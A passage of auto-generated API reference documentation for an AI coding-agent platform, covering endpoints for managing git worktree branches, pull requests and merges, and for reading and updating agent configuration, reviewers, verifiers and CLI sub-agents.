# Complete Documentation

# Agent: Branches

**Page:** api/agent/branches

[Download Raw Markdown](./api/agent/branches.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Agent: Branches

The Branches API manages the git branches that make up an agent workspace. Each branch is an isolated git worktree with its own filesystem directory, lifecycle status, and disk usage. Use these endpoints to discover branches, inspect their state, create or delete them, sync them with a remote, and open or check pull requests.

All endpoints are scoped to a workspace. The workspace ID is supplied as a path parameter for every operation.

---

## Branch discovery

### `GET /api/v1/workspaces/{workspaceID}/branches`

Returns every branch registered to the current project. Each branch is an isolated git worktree with its own directory, status, and disk usage. The list is bounded by the project's branch count (typically fewer than 50) and is not paginated; callers receive the full array in a single response. Response objects are sanitised — `start_command`, `last_stale_notify`, and `last_disk_notify` are stripped.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace that owns the branches. |

#### Response



```json
[
  {
    "id": "br_01HXYZABCDEF",
    "path": "/var/hoody/workspaces/ws_main/branches/br_01HXYZABCDEF",
    "branch": "feature/add-oauth",
    "name": "Add OAuth provider",
    "status": "ready",
    "base_branch": "main",
    "base_commit": "f3a9c12d4e5b6789",
    "created_at": 1715000000000,
    "updated_at": 1715090000000
  },
  {
    "id": "br_01HXYZGHIJKL",
    "path": "/var/hoody/workspaces/ws_main/branches/br_01HXYZGHIJKL",
    "branch": "fix/null-pointer",
    "name": "Fix null pointer in parser",
    "status": "resetting",
    "base_branch": "main",
    "base_commit": "a1b2c3d4e5f60718",
    "created_at": 1715100000000,
    "updated_at": 1715100500000
  }
]
```


```json
{
  "success": false,
  "errors": [
    {
      "message": "Invalid project context"
    }
  ],
  "data": null
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_PROJECT_CONTEXT` | Project context is invalid | The request reached the branches router but the attached project instance could not be resolved (missing or malformed project id). | Ensure the request is routed through a valid workspace/project scope before calling this endpoint. |


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Project not found"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PROJECT_NOT_FOUND` | Project record not found | The project record referenced by the current instance no longer exists on disk (deleted between instance creation and this call). | Re-open the project or select a different one; do not retry with the same stale id. |



#### SDK

```ts
await client.agent.branches.listBranches({
  workspaceID: "ws_main"
});
```

---

### `GET /api/v1/workspaces/{workspaceID}/branches/remote`

Returns the git remotes configured for the project, including provider detection, repository coordinates, and whether the stored credentials are valid.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace whose remotes should be inspected. |

#### Response



```json
{
  "remotes": [
    {
      "name": "origin",
      "url": "git@github.com:acme/widgets.git",
      "provider": "github",
      "owner": "acme",
      "repo": "widgets",
      "authenticated": true
    },
    {
      "name": "upstream",
      "url": "https://github.com/official/widgets.git",
      "provider": "github",
      "owner": "official",
      "repo": "widgets",
      "authenticated": false
    }
  ],
  "defaultRemote": "origin"
}
```


```json
{
  "success": false,
  "errors": [
    {
      "message": "Invalid request"
    }
  ],
  "data": null
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Project not found"
  }
}
```



#### SDK

```ts
await client.agent.branches.getRemoteInfo({
  workspaceID: "ws_main"
});
```

---

### `GET /api/v1/workspaces/{workspaceID}/branches/remote-refs`

Fetches the set of branches and tags visible on a configured git remote via `git ls-remote`. The `remote` query parameter selects which remote to inspect; when omitted, the router uses the project's default (`origin` when present). The response is a point-in-time snapshot of remote refs and is not paginated — very large mirrors may return a sizeable payload. Rate-limited per remote to avoid upstream abuse.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `remote` | query | string | No | The name of the remote to inspect. Defaults to the project's default remote. |
| `workspaceID` | path | string | Yes | The workspace whose remote refs should be listed. |

#### Response



```json
{
  "branches": [
    "refs/heads/main",
    "refs/heads/release/2024-q1",
    "refs/heads/feature/agent-branches"
  ],
  "tags": [
    "refs/tags/v1.0.0",
    "refs/tags/v1.1.0"
  ]
}
```


```json
{
  "success": false,
  "errors": [
    {
      "message": "Unsafe remote name"
    }
  ],
  "data": null
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_REMOTE_NAME` | Remote name is unsafe or malformed | The supplied `remote` query parameter failed `assertSafeRemoteName` validation (contains disallowed characters, path separators, or shell metacharacters). | Pass a plain remote identifier such as `origin` or `upstream`; avoid spaces, slashes, and quoting. |
| `REMOTE_RATE_LIMITED` | Remote ref listing was rate-limited | The per-remote rate limiter rejected this request because recent listings against the same remote exceeded the allowed frequency. | Back off and retry after the limiter's cool-down window; avoid polling `remote-refs` in tight loops. |


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Remote 'upstream' not configured"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `REMOTE_NOT_CONFIGURED` | Remote is not configured on this project | The requested remote name does not match any remote registered in the project's git configuration. | Call `GET /branches/remote` first to discover configured remotes, or add the remote before listing its refs. |



#### SDK

```ts
await client.agent.branches.listRemoteRefs({
  workspaceID: "ws_main",
  remote: "origin"
});
```

---

### `GET /api/v1/workspaces/{workspaceID}/branches/disk-usage`

Returns the on-disk size of one or all branches in the workspace. When the `id` query parameter is omitted, the response contains an entry for every branch.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | query | string | No | The branch id to measure. Omit to measure every branch in the workspace. |
| `workspaceID` | path | string | Yes | The workspace whose branches should be measured. |

#### Response



```json
[
  {
    "id": "br_01HXYZABCDEF",
    "directory": "/var/hoody/workspaces/ws_main/branches/br_01HXYZABCDEF",
    "bytes": 482310984
  },
  {
    "id": "br_01HXYZGHIJKL",
    "directory": "/var/hoody/workspaces/ws_main/branches/br_01HXYZGHIJKL",
    "bytes": 15728329
  }
]
```


```json
{
  "success": false,
  "errors": [
    {
      "message": "Invalid request"
    }
  ],
  "data": null
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Project not found"
  }
}
```



#### SDK

```ts
await client.agent.branches.getBranchDiskUsage({
  workspaceID: "ws_main",
  id: "br_01HXYZABCDEF"
});
```

---

## Branch status and diff

### `GET /api/v1/workspaces/{workspaceID}/branches/{id}/status`

Returns the live git status of a single branch — its name, how far ahead or behind its upstream it is, the count of staged/unstaged/untracked files, and a `clean` flag.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | The branch id. |
| `workspaceID` | path | string | Yes | The workspace that owns the branch. |

#### Response



```json
{
  "branch": "feature/add-oauth",
  "ahead": 3,
  "behind": 0,
  "staged": 4,
  "unstaged": 1,
  "untracked": 0,
  "clean": false
}
```


```json
{
  "success": false,
  "errors": [
    {
      "message": "Invalid request"
    }
  ],
  "data": null
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Project not found"
  }
}
```



#### SDK

```ts
await client.agent.branches.getBranchStatus({
  workspaceID: "ws_main",
  id: "br_01HXYZABCDEF"
});
```

---

### `GET /api/v1/workspaces/{workspaceID}/branches/{id}/diff`

Returns the diff between the branch and its base (or another reference). The `format` parameter controls whether the response is a summary or full hunk data; the `file` parameter scopes the diff to a single path.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | The branch id. |
| `base` | query | string | No | The base ref to diff against. Defaults to the branch's base branch. |
| `file` | query | string | No | Restrict the diff to a single file path. |
| `format` | query | string | No | Output format. One of `summary`, `full`. |
| `workspaceID` | path | string | Yes | The workspace that owns the branch. |

#### Response



```json
{
  "base_commit": "f3a9c12d4e5b6789",
  "head_commit": "9b8c7d6e5f4a3210",
  "files": [
    {
      "path": "src/oauth/provider.ts",
      "status": "modified",
      "insertions": 42,
      "deletions": 7,
      "hunks": [
        {
          "old_start": 12,
          "old_lines": 5,
          "new_start": 12,
          "new_lines": 8,
          "lines": [
            { "type": "context", "content": "import { Client } from './client';" },
            { "type": "remove", "content": "const TOKEN_TTL = 3600;" },
            { "type": "add", "content": "const TOKEN_TTL_MS = 60 * 60 * 1000;" },
            { "type": "context", "content": "" }
          ]
        }
      ]
    }
  ],
  "truncated": false
}
```


```json
{
  "success": false,
  "errors": [
    {
      "message": "Invalid request"
    }
  ],
  "data": null
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Project not found"
  }
}
```



#### SDK

```ts
await client.agent.branches.getBranchDiff({
  workspaceID: "ws_main",
  id: "br_01HXYZABCDEF",
  format: "full"
});
```

---

### `GET /api/v1/workspaces/{workspaceID}/branches/{id}/remote-status`

Returns whether the branch has an upstream tracking ref and, if so, how many commits it is ahead or behind.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | The branch id. |
| `workspaceID` | path | string | Yes | The workspace that owns the branch. |

#### Response



```json
{
  "hasUpstream": true,
  "ahead": 3,
  "behind": 1,
  "remoteBranch": "origin/feature/add-oauth"
}
```


```json
{
  "success": false,
  "errors": [
    {
      "message": "Invalid request"
    }
  ],
  "data": null
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Project not found"
  }
}
```



#### SDK

```ts
await client.agent.branches.getRemoteStatus({
  workspaceID: "ws_main",
  id: "br_01HXYZABCDEF"
});
```

---

### `GET /api/v1/workspaces/{workspaceID}/branches/{id}/pr`

Returns the current state of a pull/merge request for the branch — whether one exists, its URL and number, its provider state, CI status, and review status.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | The branch id. |
| `workspaceID` | path | string | Yes | The workspace that owns the branch. |

#### Response



```json
{
  "exists": true,
  "url": "https://github.com/acme/widgets/pull/42",
  "number": 42,
  "state": "open",
  "ci": {
    "status": "success",
    "url": "https://github.com/acme/widgets/actions/runs/123456"
  },
  "reviewStatus": "approved"
}
```


```json
{
  "success": false,
  "errors": [
    {
      "message": "Invalid request"
    }
  ],
  "data": null
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Project not found"
  }
}
```



#### SDK

```ts
await client.agent.branches.getPRStatus({
  workspaceID: "ws_main",
  id: "br_01HXYZABCDEF"
});
```

---

## Branch lifecycle

### `POST /api/v1/workspaces/{workspaceID}/branches`

Creates a new branch as an isolated git worktree. The new branch can be given a name, a base branch to fork from, and an optional start command that runs after the worktree is provisioned.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace in which to create the branch. |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `name` | string | No | The human-readable display name for the branch. |
| `startCommand` | string | No | A command to run inside the new worktree once it is provisioned. |
| `baseBranch` | string | No | The branch to fork from. Defaults to the project's default branch. |

#### Response



```json
{
  "id": "br_01HMNOPQRSTU",
  "path": "/var/hoody/workspaces/ws_main/branches/br_01HMNOPQRSTU",
  "branch": "feature/billing-portal",
  "name": "Billing portal MVP",
  "status": "creating",
  "base_branch": "main",
  "base_commit": "f3a9c12d4e5b6789",
  "created_at": 1715200000000,
  "updated_at": 1715200000000
}
```


```json
{
  "success": false,
  "errors": [
    {
      "message": "Invalid request"
    }
  ],
  "data": null
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Project not found"
  }
}
```



#### SDK

```ts
await client.agent.branches.createBranch({
  workspaceID: "ws_main",
  data: {
    name: "Billing portal MVP",
    baseBranch: "main",
    startCommand: "pnpm install && pnpm dev"
  }
});
```

---

### `PATCH /api/v1/workspaces/{workspaceID}/branches/{id}`

Renames the branch's human-readable display name. The underlying git branch ref is not changed.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | The branch id. |
| `workspaceID` | path | string | Yes | The workspace that owns the branch. |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `name` | string | Yes | The new display name for the branch. |

#### Response



```json
{
  "id": "br_01HXYZABCDEF",
  "path": "/var/hoody/workspaces/ws_main/branches/br_01HXYZABCDEF",
  "branch": "feature/add-oauth",
  "name": "Add OAuth provider (rev 2)",
  "status": "ready",
  "base_branch": "main",
  "base_commit": "f3a9c12d4e5b6789",
  "created_at": 1715000000000,
  "updated_at": 1715210000000
}
```


```json
{
  "success": false,
  "errors": [
    {
      "message": "Invalid request"
    }
  ],
  "data": null
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Project not found"
  }
}
```



#### SDK

```ts
await client.agent.branches.renameBranch({
  workspaceID: "ws_main",
  id: "br_01HXYZABCDEF",
  data: { name: "Add OAuth provider (rev 2)" }
});
```

---

### `DELETE /api/v1/workspaces/{workspaceID}/branches/{id}`

Deletes a branch and its underlying git worktree.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | The branch id. |
| `workspaceID` | path | string | Yes | The workspace that owns the branch. |

This endpoint takes no parameters beyond the path above.

#### Response



```json
```


```json
{
  "success": false,
  "errors": [
    {
      "message": "Invalid request"
    }
  ],
  "data": null
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Project not found"
  }
}
```



#### SDK

```ts
await client.agent.branches.deleteBranch({
  workspaceID: "ws_main",
  id: "br_01HXYZABCDEF"
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/branches/{id}/reset`

Resets a branch back to its base commit. While the reset is in progress the branch's `status` is set to `resetting`; once complete it returns to `ready`.


Resetting discards any uncommitted or unpushed changes on the branch.


#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | The branch id. |
| `workspaceID` | path | string | Yes | The workspace that owns the branch. |

This endpoint takes no parameters beyond the path above.

#### Response



```json
{
  "id": "br_01HXYZABCDEF",
  "path": "/var/hoody/workspaces/ws_main/branches/br_01HXYZABCDEF",
  "branch": "feature/add-oauth",
  "name": "Add OAuth provider",
  "status": "resetting",
  "base_branch": "main",
  "base_commit": "f3a9c12d4e5b6789",
  "created_at": 1715000000000,
  "updated_at": 1715300000000
}
```


```json
{
  "success": false,
  "errors": [
    {
      "message": "Invalid request"
    }
  ],
  "data": null
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Project not found"
  }
}
```



#### SDK

```ts
await client.agent.branches.resetBranch({
  workspaceID: "ws_main",
  id: "br_01HXYZABCDEF"
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/branches/{id}/retry`

Retries a branch whose provisioning or operation previously failed. Only branches in the `failed` state are eligible.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | The branch id. |
| `workspaceID` | path | string | Yes | The workspace that owns the branch. |

This endpoint takes no parameters beyond the path above.

#### Response



```json
{
  "id": "br_01HXYZGHIJKL",
  "path": "/var/hoody/workspaces/ws_main/branches/br_01HXYZGHIJKL",
  "branch": "fix/null-pointer",
  "name": "Fix null pointer in parser",
  "status": "creating",
  "base_branch": "main",
  "base_commit": "a1b2c3d4e5f60718",
  "created_at": 1715100000000,
  "updated_at": 1715310000000
}
```


```json
{
  "success": false,
  "errors": [
    {
      "message": "Invalid request"
    }
  ],
  "data": null
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Project not found"
  }
}
```



#### SDK

```ts
await client.agent.branches.retryBranch({
  workspaceID: "ws_main",
  id: "br_01HXYZGHIJKL"
});
```

---

## Branch sync and pull requests

### `POST /api/v1/workspaces/{workspaceID}/branches/{id}/pull`

Pulls the latest commits from the branch's upstream (or a specified remote) into the local worktree. Returns any conflict paths if the pull cannot be fast-forwarded.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | The branch id. |
| `workspaceID` | path | string | Yes | The workspace that owns the branch. |

This endpoint accepts an empty body.

#### Response



```json
{
  "success": true,
  "conflicts": [],
  "message": "Already up to date."
}
```


```json
{
  "success": false,
  "errors": [
    {
      "message": "Invalid request"
    }
  ],
  "data": null
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Project not found"
  }
}
```



#### SDK

```ts
await client.agent.branches.pullBranch({
  workspaceID: "ws_main",
  id: "br_01HXYZABCDEF"
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/branches/{id}/push`

Pushes the branch to its remote. When successful the response includes the pushed `ref` and the remote name. This endpoint is rate-limited; callers that exceed the limit receive a 429 response with a `retryAfterMs` hint.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | The branch id. |
| `workspaceID` | path | string | Yes | The workspace that owns the branch. |

This endpoint accepts an empty body.

#### Response



```json
{
  "success": true,
  "ref": "refs/heads/feature/add-oauth",
  "remote": "origin",
  "url": "https://github.com/acme/widgets",
  "message": "Branch pushed successfully."
}
```


```json
{
  "success": false,
  "errors": [
    {
      "message": "Invalid request"
    }
  ],
  "data": null
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Project not found"
  }
}
```


```json
{
  "error": "Rate limit exceeded",
  "retryAfterMs": 30000
}
```



#### SDK

```ts
await client.agent.branches.pushBranch({
  workspaceID: "ws_main",
  id: "br_01HXYZABCDEF"
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/branches/{id}/merge`

Merges the branch into its base. The `strategy` field selects squash, rebase, or a true merge commit. Set `dry_run` to validate the merge without applying it, and `deleteBranch` to remove the source branch on success.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | The branch id to merge. |
| `workspaceID` | path | string | Yes | The workspace that owns the branch. |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `strategy` | string | No | Merge strategy. One of `squash`, `rebase`, `merge`. |
| `message` | string | No | Custom commit message. |
| `dry_run` | boolean | No | When `true`, validates the merge without applying it. |
| `deleteBranch` | boolean | No | When `true`, deletes the source branch on a successful merge. |

#### Response



```json
{
  "success": true,
  "sha": "9b8c7d6e5f4a3210",
  "head_commit": "9b8c7d6e5f4a3210",
  "already_merged": false,
  "target": "main",
  "conflicts": [],
  "message": "Merge successful."
}
```


```json
{
  "success": false,
  "errors": [
    {
      "message": "Invalid request"
    }
  ],
  "data": null
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Project not found"
  }
}
```



#### SDK

```ts
await client.agent.branches.mergeBranch({
  workspaceID: "ws_main",
  id: "br_01HXYZABCDEF",
  data: {
    strategy: "squash",
    message: "feat: add OAuth provider",
    deleteBranch: true
  }
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/branches/{id}/pr`

Opens a pull (or merge) request from the branch against its target. The input body is empty by contract — the PR is created from the branch's current state.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | The branch id. |
| `workspaceID` | path | string | Yes | The workspace that owns the branch. |

This endpoint accepts an empty body.

#### Response



```json
{
  "success": true,
  "url": "https://github.com/acme/widgets/pull/43",
  "number": 43,
  "provider": "github",
  "message": "Pull request opened."
}
```


```json
{
  "success": false,
  "errors": [
    {
      "message": "Invalid request"
    }
  ],
  "data": null
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Project not found"
  }
}
```



#### SDK

```ts
await client.agent.branches.createPR({
  workspaceID: "ws_main",
  id: "br_01HXYZABCDEF"
});
```

---

# Agent: Config

**Page:** api/agent/config

[Download Raw Markdown](./api/agent/config.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Agent: Config

Manage the Hoody Agent configuration for a workspace. These endpoints let you read and update the full config object, list configured providers, reviewers, verifiers, and CLI sub-agents, and inspect workspace-level tool overrides.

## Get configuration

### `GET /api/v1/workspaces/{workspaceID}/config`

Retrieve the current Hoody Agent configuration settings and preferences.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

### Response



```json
{
  "$schema": "https://hoody.com/config.json",
  "theme": "dark",
  "logLevel": "INFO",
  "model": "anthropic/claude-sonnet-4.5",
  "small_model": "anthropic/claude-haiku-4.5",
  "default_agent": "build",
  "username": "alex",
  "snapshot": false,
  "yolo": false,
  "disabled_providers": [],
  "disabled_tools": [],
  "enabled_providers": ["anthropic", "openai"],
  "instructions": [],
  "plugin": [],
  "agent": {
    "build": { "model": "anthropic/claude-sonnet-4.5", "temperature": 0.2 },
    "plan": { "model": "anthropic/claude-sonnet-4.5", "temperature": 0.1 },
    "explore": { "model": "anthropic/claude-haiku-4.5" }
  },
  "provider": {},
  "mcp": {},
  "tool_overrides": {},
  "command": {},
  "skills": { "paths": [], "urls": [] },
  "watcher": { "ignore": [] },
  "permission": "ask",
  "formatter": false,
  "lsp": false,
  "layout": "stretch",
  "enterprise": { "url": "" },
  "compaction": { "auto": true, "prune": true, "reserved": 10000 },
  "tool_wake_policy": {},
  "limits": {
    "max_read_file_size_mb": 10,
    "bash_timeout_ms": 120000,
    "webfetch_max_size_mb": 5,
    "sdk_data_timeout_ms": 300000,
    "prune_protect_tokens": 40000
  },
  "experimental": {
    "disable_paste_summary": false,
    "batch_tool": false,
    "openTelemetry": false,
    "primary_tools": [],
    "continue_loop_on_deny": false,
    "mcp_timeout": 15000
  },
  "memory": {
    "enabled": true,
    "journal": {
      "enabled": true,
      "tags": [
        { "name": "preference", "description": "User preferences and style" }
      ]
    }
  },
  "mitm": { "tags": [], "rules": [] },
  "web_search": {
    "enabled": true,
    "model": "hoody/x-ai/grok-4.1-fast",
    "fallbacks": [],
    "deep_enabled": true,
    "deep_model": "hoody/alibaba/tongyi-deepresearch-30b-a3b",
    "deep_fallbacks": [],
    "timeout": 60000,
    "deep_timeout": 600000
  },
  "image_generation": {
    "enabled": true,
    "model": "hoody/google/gemini-3.1-flash-image-preview",
    "fallbacks": [],
    "output_path": "/hoody/storage/hoody-workspaces/generated-images",
    "default_aspect_ratio": "1:1",
    "default_image_size": "1K",
    "default_count": 1,
    "timeout": 120000,
    "max_per_session": 20
  },
  "rsi": {
    "enabled": true,
    "reviewers": [
      {
        "name": "gpt-reviewer",
        "model": "openai/gpt-5.3-codex-spark",
        "fallbacks": [],
        "prompt": "Review for correctness and security."
      }
    ],
    "timeout": 600000,
    "max_reviewers": 5,
    "max_reviews_per_session": 0
  },
  "self_tuning": {
    "enabled": true,
    "max_invocations_per_session": 0,
    "verifier_entrypoint_allowlist": [],
    "verifiers": {}
  },
  "cli_agents": {
    "enabled": true,
    "timeout": 300000,
    "agents": [
      {
        "name": "Gemini Flash",
        "cli": "gemini",
        "model": "gemini-3-flash-preview",
        "readonly": true,
        "allow_git": false,
        "tools": [],
        "max_budget_usd": 1.5,
        "timeout": 300000
      }
    ]
  }
}
```



### SDK

```ts
const config = await client.agent.config.get({ workspaceID: "ws_abc123" });
```

## Update configuration

### `PATCH /api/v1/workspaces/{workspaceID}/config`

Update Hoody Agent configuration settings and preferences. Authorisation is the verified container claim — the caller owns this container.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

### Request Body

All fields are optional. Pass only the keys you want to change; omitted keys are left unchanged. To clear a key, send `null`.

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `permission` | object \| null | No | Permission rules keyed by tool name |
| `tool_overrides` | object \| null | No | Map of tool name to boolean override (true = force on, false = force off) |
| `tool_wake_policy` | object \| null | No | Per-tool wake policy. Map of tool name to `auto`, `next_turn`, `manual`, or `sync` |
| `yolo` | boolean \| null | No | When true, skip all permission prompts |
| `provider` | object \| null | No | Custom provider configurations and model overrides |
| `disabled_providers` | array \| null | No | Provider IDs to disable |
| `enabled_providers` | array \| null | No | When set, only these provider IDs remain enabled |
| `model` | string \| null | No | Default model in `provider/model` format |
| `small_model` | string \| null | No | Small model for lightweight tasks (e.g. title generation) |
| `default_agent` | string \| null | No | Name of the default primary agent (falls back to `build`) |
| `instructions` | array \| null | No | Additional instruction files or glob patterns |

```json
{
  "model": "anthropic/claude-sonnet-4.5",
  "small_model": "anthropic/claude-haiku-4.5",
  "default_agent": "build",
  "yolo": false,
  "enabled_providers": ["anthropic", "openai"],
  "tool_overrides": {
    "bash": true,
    "webfetch": false
  },
  "tool_wake_policy": {
    "long_task": "manual"
  },
  "instructions": ["**/AGENTS.md", "docs/style.md"]
}
```

### Response



```json
{
  "model": "anthropic/claude-sonnet-4.5",
  "small_model": "anthropic/claude-haiku-4.5",
  "default_agent": "build",
  "yolo": false,
  "enabled_providers": ["anthropic", "openai"],
  "tool_overrides": { "bash": true, "webfetch": false },
  "tool_wake_policy": { "long_task": "manual" },
  "instructions": ["**/AGENTS.md", "docs/style.md"]
}
```


```json
{
  "data": null,
  "errors": [
    { "field": "model", "message": "must be in provider/model format" }
  ],
  "success": false
}
```



### SDK

```ts
await client.agent.config.update({
  workspaceID: "ws_abc123",
  data: {
    model: "anthropic/claude-sonnet-4.5",
    yolo: false,
    tool_overrides: { bash: true, webfetch: false }
  }
});
```

## List config providers

### `GET /api/v1/workspaces/{workspaceID}/config/providers`

Get a list of all configured AI providers and their default models.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

### Response



```json
{
  "providers": [
    {
      "id": "anthropic",
      "name": "Anthropic",
      "source": "env",
      "env": ["ANTHROPIC_API_KEY"],
      "options": {},
      "models": {}
    },
    {
      "id": "openai",
      "name": "OpenAI",
      "source": "env",
      "env": ["OPENAI_API_KEY"],
      "options": {},
      "models": {}
    }
  ],
  "default": {
    "model": "anthropic/claude-sonnet-4.5",
    "small_model": "anthropic/claude-haiku-4.5"
  }
}
```



### SDK

```ts
const result = await client.agent.providers.listConfigs({ workspaceID: "ws_abc123" });
```

## Get workspace tool overrides

### `GET /api/v1/workspaces/{workspaceID}/config/tool-overrides`

Get `tool_overrides` from the workspace config only (not merged with global).

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

### Response



```json
{
  "tool_overrides": {
    "bash": true,
    "webfetch": false,
    "todowrite": true
  }
}
```



### SDK

```ts
const result = await client.agent.config.getToolOverrides({ workspaceID: "ws_abc123" });
```

## List configured RSI reviewers

### `GET /api/v1/workspaces/{workspaceID}/config/reviewers`

Return the configured RSI reviewer set. The `enabled` flag mirrors `config.rsi.enabled` (defaults to `true` if absent). An empty `reviewers` array with `enabled: true` means no reviewers are pre-configured, but callers can still invoke RSI ad-hoc by passing an inline `reviewers` list on `POST /rsi/review`. An empty `reviewers` array with `enabled: false` means RSI is administratively disabled and inline overrides will also be rejected.

### Parameters



| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | workspaceID path parameter |


### Response



```json
{
  "enabled": true,
  "reviewers": [
    {
      "name": "gpt-reviewer",
      "model": "openai/gpt-5.3-codex-spark",
      "fallbacks": ["openai/gpt-5.1-mini"],
      "prompt": "Review the diff for correctness and security."
    },
    {
      "name": "deepseek-reviewer",
      "model": "deepseek/deepseek-chat",
      "fallbacks": [],
      "prompt": "Look for logic bugs and unsafe inputs."
    }
  ]
}
```



### SDK

```ts
const result = await client.agent.reviewers.configListReviewers({ workspaceID: "ws_abc123" });
```

## List configured self-tuning verifiers

### `GET /api/v1/workspaces/{workspaceID}/config/verifiers`

Return the configured verifier set as an array. The source config keys verifiers by name; this endpoint projects them to an array for SDK ergonomics. The `enabled` flag mirrors `config.self_tuning.enabled` (defaults to `true` if absent).

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

### Response



```json
{
  "enabled": true,
  "verifiers": [
    {
      "name": "unit-tests",
      "cmd": "npm test --silent",
      "timeout_ms": 120000,
      "parallel_safe": false
    },
    {
      "name": "typecheck",
      "cmd": "tsc --noEmit",
      "timeout_ms": 60000,
      "parallel_safe": true
    }
  ]
}
```



### SDK

```ts
const result = await client.agent.verifiers.configListVerifiers({ workspaceID: "ws_abc123" });
```

## List configured CLI agents

### `GET /api/v1/workspaces/{workspaceID}/config/cli-agents`

Return the configured `cli_agents` set. When `is_default: true`, `config.cli_agents.agents` is undefined and the response lists the built-in `DEFAULT_CLI_AGENTS`. When `is_default: false` with an empty `agents` array, the user has explicitly cleared the list (configured `agents: []`) — distinct from the defaults case.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

### Response



```json
{
  "enabled": true,
  "is_default": false,
  "agents": [
    {
      "name": "Gemini Flash",
      "cli": "gemini",
      "model": "gemini-3-flash-preview",
      "readonly": true,
      "allow_git": false,
      "tools": [],
      "max_budget_usd": 1.5,
      "timeout": 300000
    },
    {
      "name": "Claude Reviewer",
      "cli": "claude",
      "model": "claude-sonnet-4.5",
      "readonly": true,
      "allow_git": false,
      "tools": ["Read", "Grep", "Glob"],
      "max_budget_usd": 2.0,
      "timeout": 600000
    }
  ]
}
```



### SDK

```ts
const result = await client.agent.cliAgents.configListCliAgents({ workspaceID: "ws_abc123" });
```

---

# Agent: Experimental

**Page:** api/agent/experimental

[Download Raw Markdown](./api/agent/experimental.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Agent: Experimental

The Experimental endpoints expose discovery and inspection utilities for the agent runtime. Use them to enumerate available tool IDs, retrieve full JSON schemas for a given provider and model, and list MCP resources exposed by connected servers. These endpoints are intended for tooling, dashboards, and runtime introspection.

---

### `GET /api/v1/workspaces/{workspaceID}/experimental/resource`

Get all available MCP resources from connected servers. Optionally filter by name.

#### Parameters

| Name | In | Type | Required | Description |
